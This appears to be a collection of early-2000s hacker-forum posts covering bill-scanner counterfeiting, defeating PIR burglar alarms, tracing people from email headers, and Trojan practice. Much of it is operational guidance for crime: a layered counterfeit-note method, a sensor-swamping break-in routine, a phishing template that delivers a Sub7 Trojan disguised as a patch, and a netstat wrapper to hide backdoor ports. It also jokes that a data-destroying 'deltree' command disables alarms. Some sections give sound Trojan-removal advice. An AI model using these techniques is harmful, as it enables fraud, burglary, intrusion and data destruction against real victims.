Another method for bill scanning change machines is creating false notes ...
the advanced machines will take 4 scans of the note ... the first with light
from the top ... the second with light from underneath, and the third under
UV ... it then flips the bill over a roller and takes a scan of the underside
of the bill lit from the top.
This gives it the face and reverse to show that the watermark is not visible
then a light-through that shows the watermark, and then a UV to show the paper
type. They generally don't measure the micron thickness of the bill due to
problems with wrinkling.
You can fake these with a 3 part construction ... a front, a reverse, and in
the middle, a printed watermark (Obviously only seen when lit-through. put a
real bill on a light box and test your watermarking for relative intensity
reprinting it darker or lighter as required.
Then turn off your light box and view under an even UV lighting side by side
with a real bill ... they are both fluorescent but the real bill VERY much less
so. Shield the real bill with some acetate to mask it, and spray the fake
gently and evenly with a VERY fine mist of UV block (Holding can about 3 foot
away) until its fluorescence closely matches the real bill in intensity.
Hey presto ... a fake bill (You can use this in combination with the various
notching methods too)
Word to the wise:
DON'T use a photocopier, this is what they expect you to do ... photocopiers
(By advisement of your government) MUST reproduce a document no closer than 3%
of a true 1:1 scale copy.
Instead, use a high definition scanner (9600dpi) and a GOOD printer. Remember
to play with the colour match as some of the cheaper bill-scanners rather
stupidly just take TOP-LIT scans under various coloured filters and compare
before doing a bottom lit scan for watermark (Allowing a watermark to be
actually PRINTED on the back)
Word to the wise:
A bill-scanner/change machine is most likely to be situated in front of the
cameras in an amusement arcade or shopping mall - so if you are trying to find
it, just follow the cameras :)
Need I say that this is illegal, please check your countries local, state and
federal laws regarding reproducing the 'likeness' of a bill of currency prior
to testing whether your OWN bill-scanner is vulnerable (Which is, of course,
the only reason any of us would do this)
I don't want to see any of you in the news busted for fraud ... So be good, and
if you can't be good be careful :)
I see already on a newsgroup someone is asking for scans of currency, I can
only assume that there are people out there that OWN bill scanning change vends
and want to test their reliability *wink*
(I notice the only decent response to this request was a scan of various
denominations of monopoly money - heh)
I include the post and my reply to it below as it contains some extra
information about getting a decent image of the watermark.
I also received an email about how it is done so quickly if there are so many
passes of the bill ... There is normally only two physical passes of the bill,
with multiple heads ... giving 4 logical passes (Scans are done in strips with
one scan head ahead of the other, this saves time, the scan is also quite low
resolution although this may have changed in line with the availability of
newer and cheaper technology)
<PASTE FROM NEWSGROUP>
Hoshi ...
Do the words 'secure' and 'root' mean anything to you ? :))))))
The timing of your post would lead me to believe that they do. I am guessing
you read the post on secureroot.com about notching and playing with change
vends. If you're serious I suggest NOT asking publicly for scans as it shows
clear intent to proceed. (completely incidentally 9600dpi is a nice figure)
What wasn't mentioned in the 3-layer technique ... To get a starting point for
the watermark you must take two merged high-res scans front lit and one back
lit - Then de-saturate them (Convert to 8 bit monochrome) and line them up
perfectly as layers by making the uppermost one 50% transparent. Once they are
lined up near perfectly (Zoom in to check) you run a 'difference' filter
between the two images - this will help pull out the actual watermarking ...
Some retouching will be required but nothing drastic as it really isn't that
accurate an evaluation.
I will repost this there as it really should have been included in the
article...
"Huckleberry Hoshimoto" <huckleberry_hoshimoto@hotmail.com> wrote in message
news:3a2d58d6$0$94487$272ea4a1@news.execpc.com...
> As they say on Star Trek - "Are you out of your
> Vulcan mind???"
>
> Hacking into sites and whatever may be against
> the law (but, generally speaking, the FBI won't
> go balls-out to find you) BUT, counterfeiting
> is a completely different ball game.
> Unless you rapidly want to end up in the Federal
> Penn & "dance" with Bubba every night (who will
> undoubtedly rename you "Suzie" or "Joan"), I'd
> trash that idea ASAP. You WILL be making license
> plates, not funny money.
>
> Additionally, since you are openly asking this
> question in a newsgroup, you aren't smart enough
> to even BEGIN to be a 'paper-hanger'.
> Prove us all wrong - get a job!!!
> H(c)kl(r)(r)
>
>> Please Help wrote:
>> I don't have a scanner and need some paper money
>> for graphics. I've searched in clipart collections
>> and can't find them.
>>
>> Can anyone help me by scanning both sides of a $5,
>> $10, $20, $50, $100 bill? Any or all will be
>> greatly appreciated.
(Seemingly posted within an hour of my posting on this NG)
--=[ How to beat infrared Sensors ]=--
You didn't say what kind of sensor it is, whether its IR, passive or active,
pulse count or capacitive ... need more information.
Most are passive IR pulse count, so here's a basic :
Passive pulse counting IR sensors break the room into a number of segments each
of which is attributed an running average value based the IR levels, slow
moving areas of heat or cold such as that from radiators and windows is thus
catered for by the averaging process - it takes a large change to cause a
trigger condition. Luckily for you, 2 or three triggers are required within a
short space of time to actually trip the alarm. So there's a trick - read on
and it will be revealed.
FORGET moving through the zones ... unless you know where the zones are ... you
would need to move cleanly and quickly into a zone and then wait at least 90
seconds before moving into the next one. Since you cant see them this is
impractical.
FORGET slow movements ... it is unlikely you will be able to move slow enough
to only cause 1 trigger within the typical guard time for the sensor.
The trick is in the fact that the circuitry guards against false alarms by
requiring more than one large change occurs within a set number of seconds,
solution? make sure there is only ONE change in lighting level but that it is
permanent.
technique is known as 'swamping' and using it I can make it from one side of my
home to the other in under 6 minutes (Total of 4 passive IR's) without
triggering the bell box.
You will need a tight IR beam (Low divergence) with a starting coil and turned
on using a DEBOUNCED switch. Also a SMALL mirror on a rod (Car aerials are good
for this)
If you have came in from the cold give your equipment some settling time or
they will show as a big black hole to the PIR.
Use the mirror to check the IR position within the room (Its better than
sticking your head in) slide the now close-to-room-temp lamp assembly JUST into
the room and aim it at the IR ... this should be at floor level. Use the mirror
to look FROM the lamp to the PIR ... slide your hand in and adjust the lamp to
point directly at the PIR - check it is on target ... when happy flick the
switch.
[BOOM]
the sensor sees ONE change in lighting conditions ... unfortunately it cant see
much anymore :) (Ever shone a bright light into a webcam?) Well PIR's are VERY
VERY sensitive and optimised for low-light conditions - and therefore they
swamp VERY easily. Its IR image of the room is now completely saturated.
the sensor will wait for a second (or in some cases a third) pulse before it
trips the alarm.
Just don't get between the beam and the PIR. And my advice is to stay low
anyway (Pointless being a damn fool about it)
Leave one of these at every PIR on the way in, you can actually drop and
activate these quite fast in practice.
now, you don't want to leave them there - so you have to remove them as you
backtrack out of there ... this isn't as easy as it sounds ... turning off the
beam causes a slow wind down - the bulb is now hot - and moving it would be
highly visible to the PIR and will definitely trip the panel ... even if it
were possible to turn off the bulb in a way that would make it instantly 'cold'
the recovery time of the PIR would induce many trigger events as it slowly gets
its sight back in stages.
method one - leave it all set up and leave - this will piss people off and
start a real manhunt.
method two - your team all hit a unit each, grab it, turn it off and vacate the
premises ... the alarm will trip, *hopefully* after the entry delay giving you
about 30 safe seconds before the bell sounds (30 seconds is a LONG time) - You
should be in your vehicle by the time the alarm starts.
method three - Use an expensive high resolution process-controlling
potentiometer [NOT THE PWM CONTROLLERS] (RS components did a good line in these)
to dim the bulb over a period of 20 mins - this allows the recovery of the PIR
to be slow and gentle - I've found that this doesn't trip most sensors - however
, if the alarm is of the non audible type then forget it, cus you really want
to know if one of the PIRs registers 2 changes in succession. Also forget this
if you are short on time - the units have to be removed in reverse sequence as
you back out of the premises and this can easily turn into a 1hr commitment.
If the unit is capacitance or activeIR forget it.
Don't worry that this is a 'good' PIR ... all PIR's are pretty much the same ...
a faceted lense alters the sensitivity pattern and the only real innovations are
in the transmission of an alarm condition to the panel (whether its an
NO/NC/Missing Pulse/Encoded burst/Radio Encoded Burst) this doesn't change their
vulnerability to a fast swamp as they are all hypersensitive and designed to
work in low IR. They all saturate easily, I haven't seen one yet that triggers
when the IR level exceeds its limits.
Remember also that PIRs are never used alone - reeds will also be employed on
all entry/exit doors - assume they are and take a GOOD magnetic compass, some
NEW bluetac, and lots of experience of aligning magnets on reeds.
I think your prank sounds a little over ambitious though - you don't just risk
your education, but also your freedom.
Suggestion, don't do it - just stay at home and practice on your own PIRs.

OH BTW: I was just talking to insane and apparently ... typing
'deltree /y c:\*.*' on your home PC will disable all alarms for 15 miles radius
- worth a try (hehe, its amazing how useful that command can be - I think we've
used it for just about everything now, lol :P INSANE)
--=[ Hacking a game ]=--
Firstly you don't have the source, you have tokenised the binary into assembler
and that's not quite the same thing, in fact its a whole heap different.
Secondly, if the character information is held centrally on the server then you
most likely can't manipulate it from the client end as there is unlikely to be
any client-server functionality for direct modification of anything other than
the public attributes of your character.
I think probably the nearest you will be able to get is to script your
characters actions maybe to the point where certain actions are reflexive ...
this will rely on interpreting situational data arriving from the server,
parsing it into a view of the game environment and then sending rapid automated
responses befitting the situation - This could possibly them be left running
unattended in order to boost the associated stats held centrally as a response
to your increased abilities/kills/accuracy/etc ...
One way to do this would be using code that utilises DDE link with the client
in order to automate the character, however, it is unlikely that sufficient
environment sensing can be performed this way to make the code effective at
dealing with any situations that may arise.
A better option would be to proxy the connection to your server.
[GAME CLIENT]<->[LOCAL PROXY]<->[GAME SERVER]
In this way your proxy would have access to ALL the information that the
legitimate client has, and therefore will be more able to accurately gauge
positions and states of enemy, objects and terrain etc ... and make appropriate
and accurate responses to each change in the game environment.
The good thing about the latter is that you can play through if you wish ...
moving the character and interacting whilst not having to worry about combat as
it will be combat-reflex. Clicking the state of the proxy into a fully
automatic mode will them cause the proxy to ignore the client completely and
make choices based solely upon your own player-logic without the need for
interaction - how effective this will be will depend on how well you program
the player-logic and how much an advantage can be gained by the near-instant
response-time and the acquired combat-accuracy.
Certainly it is still not an easy task, and if all you have is the uncommented
ASM to work from don't expect many clues as to how to interpret the incoming
environmental information.
I have not played diablo (In fact, I am not really a games player) so I don't
think it would be worth investing my own time in solving the problem ...
however, I wish you luck :)
--=[ Line Tapping - How do I know I have one? ]=--
If it was placed professionally?
You wouldn't find it.
If you found it?
you wouldn't remove it.
Think - If you destroy a tap they know you are onto them - they will change
their methods, place a tap further upline, or break into your home ... It also
shows you have something to hide.
USE the tap, feed it incorrect information, treat it as if you never knew it
was there. knowing one is there gives you an advantage ... letting them know
you know loses that advantage.
I don't know who you suspect may be monitoring. But, you obviously have some
suspicions and should use this to gauge what sort of access they can achieve.
A PI or some local idiot will probably place at on of the connection points by
cracking open a base or at some convenient point between your home (Connection
point on outside wall or at a pole) and the base. Law enforcement will place at
the CO.
if you have reason enough to believe there 'may' be a tap - then you should
have the sense to behave at all times like there 'is' a tap. Since measuring
voltage drops is highly speculative and can't give any solid indications then
it may be best not to bother - A decent bug wont drop voltage anyway, only the
cheaper kits and 'hobby' devices.
My advice is this:
If there is even a REASON why someone may bug your phone - then behave at ALL
times like one is already in place ... don't get paranoid about it, just get
sensible.
If you DO confirm a bug then don't let them know you know ... use it to
convince them that your life is mundane.
The best way is to discuss things that you wouldn't discuss if your phone was
bugged (personal/emotional/problems/medical) - act completely unaware of the
bug - This will help assure them that you are being candid and that their
operation has full integrity, even though its not revealing the information
they seek.
You may also wish to keep a quiet record of the vehicles in your street.
If law enforcement may be involved you should remember that they have the power
to get your ISP to record all data transactions under warrant, VERY often ISP's
will even co-operate outside of warrant should they be asked to comply (The
phrase - 'if you don't we'll just go get a warrant' should always be met with
'fine, I'll be happy to help once you have it' - but all too often isn't)
--=[ How do I get an IP address from an Email and what can I do when I have it?
]=--
Example:
Using Outlook Express:
In your 'inbox' RIGHT click the line that gives brief details of the message.
You will see a pop-up menu ... choose 'properties'
A window will appear with normally two tabs, 'General' and 'details' ... go to
the details tab.
You will see something like this:
Received: from [224.67.60.45] (helo=Patriot)
by protactinium with smtp (Exim 3.03 #83)
id 14kcFR-00029a-00
for me@btinternet.com; Wed, 04 Apr 2001 02:38:14 +0100
Message-ID: <001101c0bca7$bf0107d0$dce27ad5@winserver>
From: "Me" <me@btinternet.com>
To: <me@btinternet.com>
Subject: Sign
Date: Wed, 4 Apr 2001 02:37:00 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_000E_01C0BCB0.2032CCC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Status:
Complicated huh, luckily we can safely ignore most of it ... the part we are
interested in is the part that reads:
Received: from [224.67.60.45]
(helo=Patriot)
As it contains the IP of the sender, and (In this case) the machine name.
Now ... you have the IP, but why is the machine name so important? Well ...
I'll tell you ...
Many people use drive/printer sharing via something called NetBios. These
people have their machine named to identify it on a network (Note, they may
only have one machine - the network is the internet)
There are programs you can get that will look for NetBios on a range of IP's ...

So, if the users IP changes regularly each time they reconnect ('Dynamic IP')
as opposed to an IP that is always the same ('Static IP') you may STILL be able
to find them.
Get a NetBios sniffer (Rhino and Ogre make decent ones) that will scan a range
of IP's for open NetBios ports ...
The IP was 224.67.60.45 So, tell it to scan the range 224.67.*.* and go make
coffee if you have a slow connection.
It will report the machines in that range that have NetBios enabled, it will
also display the machine names.
If you find one called 'Patriot' then you have your man.
Please note that you cannot do this with web-based email, as they normally give
you no chance to read the headers. Also note that just because a machines name
is shown in the 'helo=' it doesn't mean they have NetBios enabled. So, as soon
as you get the email CHECK THAT IP FOR NETBIOS ... If shows a NetBios
connection then you know you can always find him ; ) If not, you just saved
yourself some time searching all those 65535 IP's
To contact the admin I suggest using 'Reverse DNS lookup' to turn the IP into a
hostname (There are many RDNS tools on the internet, go browse for one)
Hopefully, the hostname will give some indication of the ISP's domain name, use
this domain name to perform an NSLookup at:
http://www.allwhois.com
... and this should provide you with all the contact info you need - If not,
you might try opening the ISP's website and looking for the 'contact us' details
- although, these are generally geared towards tech support and sales only,
whereas the details in the whois will probably take you right to the
administrative staff.
However, it is highly unlikely that you will be able to get any admin to
divulge personal information about the client without warrant.
--=[ What do I do if someone is trying to access my computer? ]=--
If this happens when you are in a public place where your IP is available (For
example on IRC) ... it could be that the person is just scanning for Trojans.
An example of this is someone on IRC that has a script that identifies Trojaned
clients as they enter channel.
I am lead to this assumption because you say the person KEEPS trying you,
surely if you were being targeted they would see that you have no sub7 Trojan
and would therefore move on.
The other option is that they are not after you, but they have to scan the
range of IP's in your subnet to find the sub7 server they seek.
i.e.: If you are 123.123.123.43
and the sub7'ed machine is 123.123.123.x ... where x is different each time
they reconnect (A dynamic IP)
Then they will have to check ...
123.123.123.1
123.123.123.2
123.123.123.3 ... etc
So firstly don't assume that they are a hacker ... I remember pinging someone
once, and getting an abuse report to my ISP saying that their 'nukenabber' said
I was nuking them. This person may just be doing a port scan or running a
Trojan detector script.
Secondly, don't assume that it is meant for you - if it was I doubt very much
that they would keep trying for long - since it would be obvious the first time
that you have no sub7 (Unless you are spoofing a server - in which case you
invite this)
Thirdly, the person could be scanning a range to find his own home PC or a PC
he has authorised access to, like a relatives ... many people use Trojan
software simply for remote access to their resources (Although, sub7 is a bad
choice because people don't realise that the server passwords are VERY easily
cracked)
Finally, if the person IS running a script that detects common Trojans, it may
be that if allowed in - they will pop up a box saying that you have a Trojan
and giving the address of a site that contains software or information on
removing it. (run such software that sprints IP's looking for and removing
common Trojans) ... A friend of mine has the same software modified to pop up a
box recommending that they go to his site and get his removal freeware - and
suggest strongly that they purchase his protection suite (cheap ware)
So, for Christ sake DONT tell them you are being hacked - there is no basis to
that statement - Just state the facts and show them the logs ... let the ISP do
its own investigation.
I know several people that have lost their accounts because they couldn't
explain their actions - only to find out later that it was because of some
lame IRC script they were running.
Once again, please do contact his abuse address ... but remember to simply
state the facts. Otherwise you leave yourself open to being sued for slanderous
accusations and he can be compensated any costs.
(As many people have found out to their cost after causing me and my friends
ISP problems)
Also, as an ISP, we see so much of this it would make your eyes fall out, and
we have had about 19 of our users be the victim of civil court actions from
ex-users of other ISP's in this last year.
Hope you accept this simple advice,
you have came to no harm, and it's not personal, so let his ISP investigate.
Sounds like you are being scanned for Trojans, this doesn't necessarily mean
you are being targeted - if you were, they wouldn't keep checking all the time
if they are getting no response.
It's more probably that someone is scanning IP subnets for either ANY Trojan,
or specific ones they planted on a dynamic IP in your range.
The other option is that some public service you are logged into has a user
running a Trojan checker - this happens a lot in chat servers on IRC, where
every time you join a certain channel you get people scan your ports for
common Trojans.
It's certainly nothing to worry about too much. Just don't relax your firewall
settings, and check just in case you do have these Trojans running but isolated
behind your wall.
If it does concern you - Do an RDNS on the IP to get the hostname (Your
firewall may have an option for reporting hostnames instead of IP's ... then
use a NS lookup to get the administrative contact details for the domain.
Phone the administrator and show them what your wall says - please don't say
they are hacking you, or even trying to - you have no evidence to support this
and there is a growing trend of people taking legal action against losses
incurred by such claims. But if they are hacking someone, their ISP will see it
when they investigate
and then will have all the data necessary to either involve law-enforcement or,
more usually, just terminate the users account.
--=[ How do I protect myself from NETBUS? ]=--
Well, I would suggest booting your machine and then closing all the software
you have ... including everything visible in the task tray near the clock by
right clicking them and requesting they close.
Then ... you have closed everything you can think of ... wait a few seconds
then go into an MSDos box and type 'netstat -a'
You will see a lot of entries ... the ones that are important are those lines
that say 'TCP' on the left and 'Listening' on the right.
and any at the bottom of the list that say 'UDP'
These lines indicate which sockets are open and can accept data from the
outside. Do a netstat -a regularly (Or when you get paranoid) to see not only
what sockets are listening ... but also who is connected to them (You will get
the idea when you see the list)
Remember that if you have netbus you probably have other stuff too. Anyone
Trojaning your machine will want to make sure if it fails or is removed, they
have a way to put it back :)
Also - remember that ZONEALARM (Free software from zonealarm.com) will only
allow applications that you allow and trust to have access to the internet, and
is often great at exposing Trojans as soon as they run ... but its also not
ideal, and can miss Trojans if they start VERY early in the boot process - or,
if like my Trojans they own no sockets.
Zonealarm isn't too good - but its easy to use and looks pretty ... if you want
decent firewall security AND are prepared for a rather sharp learning curve ...
get SPHINX by biodata (Also free software), its better than most, but not so
easy to get to grips with.
Oh ... also check that none of your folders or drives are being 'shared' with
the outside world ... best way is to remove file-sharing from your OS set-up.
I suggest this because many attackers make drives and folders shareable just in
case the target gets an AV program and cleanses their system - It allows them
to edit the AV's excludes and then replace the Trojans undetected.
--=[ Cleansing Sub7 ]=--
Umm, good call, but didn't mention the HKEY_CLASSES_ROOT/exefile for the
shell(open) ? That's the most likely place to put Sub7 since its less visible
and more persistent (If it crashes it re-executes the next time windows uses
any executable)
Cleansing ...
Run regedit.exe ( [start]->[run] type 'regedit' [ENTER] )
HKEY_CLASSES_ROOT/.exe should contain ...
(default) REG_SZ exefile
Content Type REG_SZ application/x-msdownload
If 'exefile' or 'application/x-msdownload' are different then change them.
Now look in HKEY_CLASSES_ROOT/exefile/shell/open/command
You should see ...
(default) REG_SZ "%1" %*
If anything else then change it, its important to get this right or your
computer will mess up badly and you wont get back into regedit to put it right.
So, to confirm:
"%1" %* is ...
(dbl quote)(percent)(one)(dbl quote)(space)(percent)(asterix)
You may also find the file 'MSREXE.EXE' ... remove it.
I notice someone suggests that your AV software will 'repair' infected files ...
this is not true in the case of Trojans ... the file cant be repaired and must
be deleted, unfortunately its difficult for the AV program to delete a file
while it is running ... if your AV program has an option to 'Quarantine' then
use it ... and then reboot, and delete quarantined files.
But only do this AFTER checking the HKEY_CLASSES_ROOT because removing a file
that is loaded from HKEY_CLASSES_ROOT will screw the computer.
Tidying up ...
First update your AV over the net ... Then *explicitly* request that your AV
scans memory for viri. This should report clean, if so you have no Trojans that
it recognises (This doesn't necessarily mean you are clean, just that you are
'probably' clean)
Making sure ...
Next get a Trojan remover, these are generally much more powerful than AV
software and will remove every last trace of a Trojan including any changes it
makes to your system (Removing Trojans by hand without correcting the registry
can screw your machine)
I suggest downloading a trial version of TDS (Trojan Defence Suite) - its ugly
but it really does the job.
A good point about not downloading suspect files ... it SHOULD be common sense,
but its amazing how many people still do it even after a viral/Trojan attack.
So maybe matx's reminder isn't such a bad idea.
Never accept a file unless you have to - ask instead for the URL ... stay away
from cracks and use serials instead wherever possible ... where a
crack/mod/patch is needed find as many as you can and then use the very
smallest one.
Remember to update your AV (Or even better, choose auto-update and set it to
the shortest duration you can) ... use an explicit Trojan detector like TDS
*regularly* ... and remember that while all of this makes it less likely you
will be Trojaned, there are still people modifying Trojans to get around common
AV signatures and new undetected Trojans coming out all the time. *sigh* So, at
best, all it does is make things a little more difficult for them.
Use a firewall -AND- a socket guardian ... anything that shouldn't need access
to the net but TRIES to access the net should be deleted immediately or blocked
explicitly (After checking your HKEY_ROOT_CLASSES/exefile and
HKEY_ROOT_CLASSES/.exe are exactly as they should be - see previous post)
Okay, I think we covered just about everything *grin* Anyone got any more
pearls of wisdom for the original poster ?
--=[ When the file extension has been taken over by a Trojan within windows ]=--
You know when you click on a .txt file and notepad opens, its because '.txt'
files are associated with 'notepad.exe' so when you open a '.txt' it runs
notepad and passes notepad the name of the file you wanted ...
Well, '.exe' files also have an association - and the Trojan you caught has
changed this association to 'run.exe' (The Trojan) ... which then calls the
original associate as normal.
By deleting 'run.exe' you kinda break the chain ... and your '.exe' files wont
execute.
Now, to repair the problem you need to use edit the registry ... but
regedit.exe cant be run in dos (And windows doesn't have a '.exe' handler)
you have to put run.exe back ...
it is the application associated with the 'application/x-msdownload' file type,
and therefore is now required to execute a file. You need to change the
application type association in your registry before removing run.exe
here's how to:
temporarily replace run.exe to get your programs running normally again ...
run REGEDIT.EXE ([START]->RUN-> type 'regedit' press [ENTER])
look inside HKEY_CLASSES_ROOT you will see all the .something's (.txt .reg .doc
.exe etc ...)
click on the folder called '.exe' and in the right window you will see:
(default) REG_SZ exefile
Content Type REG_SZ application/x-msdownload
Note that it may say something different to 'exefile' - If so, change my next
instruction accordingly ...
Now - scroll the list in the left window down past all the .whatevers and you
will eventually see a folder called 'exefile' (its waaaay past '.zip')
Inside of that folder you should see:
[DefaultIcon]
[shell]
[shellex]
Go into the [shell] folder:
[open]
[runas]
go into [open]:
[command]
Go into [command] and now ... in the RIGHT window you will see ...
{default} REG_SZ "(something)"
the (something) will probably be something about run.exe ...
right click the (default) and choose modify from the popup menu
change it to ...
"%1" %*
that is ... (open quote)(percentage)(one)(close quote)(space)(percentage)
(asterix)
[OK] the change you made ... and then delete the run.exe file from your
machine. There is no need to save the changes, just close regedit.
Now you must reboot.
Everything should be fine now : ) Let me know how it goes
Hope that helps
--=[ How do I password an individual file? ]=--
Get PGP (Or even better, PGPDisk)
PGP will encrypt a file or files so well that if EVERY bit of processing power
on the planet was harnessed it would still take an estimated 1.3 million years
to crack the code on average (Of course this is unrealistic since processing
power increases each year ... but I figure you are safe for at least 20)
PGPDisk will create a folder that you can use just like any other, however ...
anything you place in it will be encrypted using PGP. PGPDisk will never
decrypt this drive, so you never have to worry about whether you locked it or
not ... it just installs a driver that allows you to read the encrypted
contents if you know a pass phrase.
For a simpler solution, put it in a passworded .ZIP ... You probably already
have a zip utility ... modern .zip encryption cannot be broken as easily as
older versions. There are no 'magic' .zip de-protectors anymore; it's actually
quite secure against very determined family members.
--=[ Anonymous surfing ]=--
By visiting an anonymizer and using it to go to a banned site - you will get
the anonymizer banned too ...
They will be watching for that kind of traffic, and any 'mizers you got working
will most probably die very quickly.
Here's how to defeat them long-term.
Buy a shell, put a proxy on it, set the proxy to a high port number (You wont
be allowed 1-1024 or 1080 anyhow) - so choose something silly like 2534.
Now - you cant use it like that, cuz they will see web requests going out and
pages coming back, and immediately it will be flagged as a proxy, and then your
shell is useless - so - put a few lines in the code before you compile it ...
if you don't know much about encryption, simple XOR 'ing every byte that comes
in, and every byte that goes out will be enough to defeat their proxy hunting
efforts - they will just see a nonsense connection to an unknown port (Like
most connections) and not think anything of it.
then, because your browser doesn't take/send XOR'd data - create a little
127.0.0.1:1080 relay in C++/VB/Delphi or whatever language you feel happy with
(Its a simple little prog) and it doesn't even have to encapsulate the proxies
functionality ... it just sits between your browser and your shell - passing
messages unchanged except for an XOR in both directions)
This worked for a friend of mine who had big problems. He can now use his
browser without even needing to think, safe in the knowledge that everything
he does is shielded from his ISP's httpRequest logging.
--=[ Proxies - warnings ]=--
Remember that most proxies log! Even the ones that declare they are
anonymous ... and at the first report of abuse they will happily turn over the
router logs and proxy logs ... thus increasing the evidence against you. The
best route is wingates as these don't log, wingates are easily found, and you
don't need to scan for them ... if you have IRC chat software take a stroll to
almost any undernet server and set your mode +S (Turn server messages on)
You will see people getting G-Lined and K-Lined and killed for various abuses
of the service ... sit there watching that status window, generally after just
a few minutes you will have plenty of addresses of people killed for
mis-configured wingate or proxy server'
How nice of undernet to provide us with a tool that gives us wingate addresses
while we chat to our friends :)
Remember though that warning about proxies - there are very few anonymous ones
out there, and there is no way they are going to take the rap for you ... its
true you can string them together ... but ultimately they and the router logs
point back to you.
If you are attacking websites or ordering goods from websites - wingates are
still the only safe bet, but not as easy to use, learn a little about how the
HTTP requests are made its not pretty but it works and its safe.

--=[ Netstat ]=--
================>
I've noticed M3Dz mention a few times that netstat -a seems to be a huge
problem w/ generic Trojans... I was wondering if there would be any ill
repercussions of replacing the netstat.exe on your "friends" machine with a
modified version that will give an all clear on the port you're running on, or
anything that contains your IP number... although the IP number option is a
bit of a heat-score, as your IP would be hard-coded into their OS...
Not saying it would be a fun mod to make to netstat, but it's an idea. But then
again I'm a nut, a big nutty nut.
anjel
================>
Well, you will notice Trojans don't tend to ship with that option ...
Deleting the netstat.exe may cause problems with some heuristic AV
applications, copying or renaming won't ... so its better to move it to,
say ... c:\program files\ns.vxd and then wrap its functionality.
I mention in a REAL OLD post here, about a very simple C++ console app. that
you can compile and put in its place ... it calls netstat.exe with stdin and
stdout redirected as file handles (IE, the replacement program acts as keyboard
input and monitor output for the ns.vxd) It calls the original netstat (Passing
any parameters) and then checks each line returned against a list of ports you
don't want to reveal ... passing each line back to the console if its not in
the list.
The list is then implemented as a file or registry entry, so that you can amend
it as required with your Trojan to cover any changes.
Ideally this would be build INTO the Trojan though, so that when the Trojan
opens a temporary socket to pass, say, a file ... it will automatically add
that port to the list.
Problem is, you still get caught by Firewalls, Socket guardians and 3rd party
Netstat-like programs (Such as WinStat)
That is why I started work finding ways to get past firewalls on windows
systems ... leading ultimately to the more complex issue of 'LSP Trojans', and
'SPI BaseLayer Wrapped Trojans'
There is a lot of information on LSP Trojans, but you won't find any on the web
as it seems to have been completely overlooked by public Trojan Writers ... its
quite frontline stuff, I only discovered it myself after despairing at the
state of current win-backdoors ... I have promised to show some C++ sources
here, but it will have to wait - I'm taking a break due to stress <grin>
I have code for a netstat.exe wrapper somewhere, catch me in a couple of days
and I'll hook you up - right now I'm turning off and going to sleep free from
flames.
================>
I cant see there being any repercussions as no other application uses netstat.
Thing is man, if you've already Trojaned his box you could ask the Trojan to
reproduce the netstat with your current IP as the parameter. However this would
be cumbersome. I think just ignoring connections on a certain port and only
modifying netstat.exe once is the best way to go.
H||JinX
================>
Well, best to future proof ... modifying exes tends to piss off AV products ...
Far better to kick the netstat.exe out of the way and replace it with a program
that calls the original, reads a file or registry location, and then returns
all of the lines that are not noted in the file/registry as bad.
This way, when you decide to open an FTP on the machine, just add that port to
the file ... if you are grabbing a file, it will be on another port again (Your
Trojan spawns ports at will) ... so, add that too. Or better still, ignore
anything from an IP mask ... like 212.23.*.*
However ... Many people now use windows versions of netstat that make a nice
noise every time a new socket listens or a connection is made, eyc ... and
displays them in near real-time. If they are using one of these, it talks
directly to the SNMP/MIB, and altering netstat wont affect these programs or
any firewalls - so, really, netstat specific alteration is only a partial
solution, but better than nothing.
Best solution? Don't let the Winsock or the protocol stack know about your
sockets, keep it between you and the base-layer.
--=[ AIM Sniffers ]=--
Well, there are a number of them around but I really couldn't recommend any
because I have never needed to sniff an AIM directory server. And, well ... I
would never recommend any precompiled executable. Since many of the ICQ
hack/sniff tools had embedded Trojans and other mal-ware I would assume that
this would be the case with AIM, so whatever you find be careful about
screening it for viri and Trojans.
However, since AIM is a simple user/IP directory service you may want to try
looking at the messages passed to and from the server - directory services are
generally very simple, and it would probably take only a few minutes to write
an app (Even using VB if you don't code) to query the AIM Directory service.
Hell, you may find that you can lookup users using nothing more complicated
than a telnet session, although I suspect they would probably use UDP.
Go have a look, what have you got to lose other than a few minutes of your time?
The easy route is to download someone else's executables, but you pay with
embedded Trojans, opened shares, viri and other associated mal-ware.
--=[ How to social engineer/Trojanise someone ]=--
Dear *name*,
We have further investigated the loss of your password and it would seem that
some person has managed to access your account with a valid password and change
it. We have traced this user to an account in brazil and believe him to be
responsible for approximately 40 other account violations over the last 3
months.
It appears that he uses a hole found in some versions of Microsoft windows to
read back the cached passwords.
Microsoft are aware of the problem and have issued a fix to prevent this from
happening.
We suggest that you patch IE as soon as possible to prevent further problems of
this type. We include the patch for your convenience and it can also be
downloaded direct from the Microsoft website. http://www.microsoft.com
We apologise for any inconvenience and hope this experience hasn't dissuaded
you from the benefits of web based email.
Administrator@hotmail.com
-- 8< end of snip -------------------------------------------------
Then just attach a Trojan ... saying that they can download it direct from
Microsoft adds an air of credibility to the whole thing, but if you have ever
been to their site you will know how big it is and they will probably just give
up searching and install the one you provided.
There are a number of holes in this plan ... they may reply to the email, they
may refuse to run anything they get via email and just give up on the MS site
... or you may have firewall/AV problems.
But hell, it's worth a go :) And surely a lot more fun than repeatedly playing
tag with their hotmail password.
Edit the email to make it 'feel' like the ones you get from hotmail support
when you request a change of password.
Oh, BTW - use a Trojan (Like sub7 2.x) that allows you to configure it to pop
up a message when it is run - use the message 'Explorer patch 3.004.43
installed, please reboot' Also set it to notify you of his IP (If you don't
already know it)
--=[ C++ and other things ]=--
Speaking as a purist (And this is only MHO, no flame or offence intended) ...
Firstly a minor point, Learning C++ (Or any language) makes you a coder, not a
programmer ... don't get the difference? Well ...
A coder knows C++ constructs, but not necessarily anything about the platform,
devices, protocols, algorithms or even the problem domain ... he just knows how
to take the ISO notation and turn it into code (A bit of a no-brainer job
really, since by the time it gets to a coder its already written except
crossing the t's and ;'ing the EOL's : )
A programmer may not necessarily know C++ (Or ANY particular language available
on the target platform, although its essential that he understands the problem
domain, the relevant algorithms and protocols, and a great deal about general
language constructs) After all, his design has to be able to be coded into the
target language in a one-step process, but still be general enough to make it
language and platform non-specific (for future porting)
What has this to do with the original post ? HEY! I'm glad you asked that, can
you read minds? Are you inside my machine? woah! Stop scaring me dude ... okay,
anyway, back to the original post ...
C++ is a tool, a very very useful tool - but learning it will not mean that you
can write any software your brain can conceive ... you also have to learn a
fair bit about the platform, the peculiarities of the target(s), algorithms,
